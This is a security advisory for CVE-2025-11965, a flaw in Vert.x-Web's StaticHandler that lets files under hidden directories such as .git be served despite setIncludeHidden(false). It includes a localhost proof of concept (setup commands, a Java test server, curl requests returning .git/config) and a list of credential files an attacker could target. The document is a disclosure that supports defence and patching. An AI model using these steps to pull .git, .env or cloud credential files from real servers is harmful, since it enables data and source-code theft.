GHSA-H5FG-JPGR-RV9C
Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2025-10-22 19:38
VLAI?
Summary
Vert.x-Web Access Control Flaw in StaticHandler’s Hidden File Protection for Files Under Hidden Directories
Details
Description
There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.
In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:
- Files under hidden directories: For example,
/.secret/config.txt— although.secretis a hidden directory, the fileconfig.txtitself does not start with a dot, so it gets served. - Real-world impact: Sensitive files placed in hidden directories like
.git,.env,.awsmay become publicly accessible.
As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.
Steps to Reproduce
1. Prepare test environment
# Create directory structure
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git
# Place test files
echo "This is a visible file" > src/test/resources/webroot/visible.txt
echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt
echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt
echo "Git config data" > src/test/resources/webroot/.git/config
2. Implement test server
import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;
public class StaticHandlerTestServer extends AbstractVerticle {
@Override
public void start() {
Router router = Router.router(vertx);
// Configure to not serve hidden files
StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
.setIncludeHidden(false)
.setDirectoryListing(false);
router.route("/*").handler(staticHandler);
vertx.createHttpServer()
.requestHandler(router)
.listen(8082);
}
public static void main(String[] args) {
Vertx vertx = Vertx.vertx();
vertx.deployVerticle(new StaticHandlerTestServer());
}
}
3. Confirm the vulnerability
# Normal file (accessible)
curl http://localhost:8082/visible.txt
# Result: 200 OK
# Hidden file (correctly blocked)
curl http://localhost:8082/.git
# Result: 404 Not Found
# File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config
# Result: 200 OK - Returns contents of Git config
Potential Impact
1. Information Disclosure
Examples of sensitive files that could be exposed:
.git/config: Git repository settings (e.g., remote URL, credentials).env/*: Environment variables (API keys, DB credentials).aws/credentials: AWS access keys.ssh/known_hosts: SSH host trust info.docker/config.json: Docker registry credentials
2. Attack Scenarios
- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
- Especially dangerous for
.git/HEAD,.git/config,.git/objects/*— which may allow full reconstruction of source code.
3. Affected Scope
- Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
- Environments: All OSes (Windows, Linux, macOS)
- Configurations: All applications using
StaticHandler.setIncludeHidden(false)
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.4"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11965"
],
"database_specific": {
"cwe_ids": [
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:38:04Z",
"nvd_published_at": "2025-10-22T15:15:31Z",
"severity": "MODERATE"
},
"details": "# Description\n\nThere is a flaw in the hidden file protection feature of Vert.x Web\u2019s `StaticHandler` when `setIncludeHidden(false)` is configured.\n\nIn the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as \u201chidden\u201d and are blocked from being served. However, this logic fails in the following cases:\n\n- **Files under hidden directories**: For example, `/.secret/config.txt` \u2014 although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served.\n- **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible.\n\nAs a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.\n\n# Steps to Reproduce\n\n```bash\n1. Prepare test environment\n\n# Create directory structure\nmkdir -p src/test/resources/webroot/.secret\nmkdir -p src/test/resources/webroot/.git\n\n# Place test files\necho \"This is a visible file\" \u003e src/test/resources/webroot/visible.txt\necho \"This is a hidden file\" \u003e src/test/resources/webroot/.hidden.txt\necho \"SECRET DATA: API_KEY=abc123\" \u003e src/test/resources/webroot/.secret/config.txt\necho \"Git config data\" \u003e src/test/resources/webroot/.git/config\n```\n\n```java\n2. Implement test server\n\nimport io.vertx.core.AbstractVerticle;\nimport io.vertx.core.Vertx;\nimport io.vertx.ext.web.Router;\nimport io.vertx.ext.web.handler.StaticHandler;\n\npublic class StaticHandlerTestServer extends AbstractVerticle {\n @Override\n public void start() {\n Router router = Router.router(vertx);\n\n // Configure to not serve hidden files\n StaticHandler staticHandler = StaticHandler.create(\"src/test/resources/webroot\")\n .setIncludeHidden(false)\n .setDirectoryListing(false);\n\n router.route(\"/*\").handler(staticHandler);\n\n vertx.createHttpServer()\n .requestHandler(router)\n .listen(8082);\n }\n\n public static void main(String[] args) {\n Vertx vertx = Vertx.vertx();\n vertx.deployVerticle(new StaticHandlerTestServer());\n }\n}\n```\n\n```bash\n3. Confirm the vulnerability\n\n# Normal file (accessible)\ncurl http://localhost:8082/visible.txt\n# Result: 200 OK\n\n# Hidden file (correctly blocked)\ncurl http://localhost:8082/.git\n# Result: 404 Not Found\n\n# File under hidden directory (vulnerable)\ncurl http://localhost:8082/.git/config\n# Result: 200 OK - Returns contents of Git config\n```\n\n# Potential Impact\n\n## 1. Information Disclosure\n\nExamples of sensitive files that could be exposed:\n\n- `.git/config`: Git repository settings (e.g., remote URL, credentials)\n- `.env/*`: Environment variables (API keys, DB credentials)\n- `.aws/credentials`: AWS access keys\n- `.ssh/known_hosts`: SSH host trust info\n- `.docker/config.json`: Docker registry credentials\n\n## 2. Attack Scenarios\n\n- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.\n- Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` \u2014 which may allow full reconstruction of source code.\n\n## 3. Affected Scope\n\n- **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)\n- **Environments**: All OSes (Windows, Linux, macOS)\n- **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`",
"id": "GHSA-h5fg-jpgr-rv9c",
"modified": "2025-10-22T19:38:04Z",
"published": "2025-10-22T19:38:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-h5fg-jpgr-rv9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11965"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/304"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vert.x-Web Access Control Flaw in StaticHandler\u2019s Hidden File Protection for Files Under Hidden Directories"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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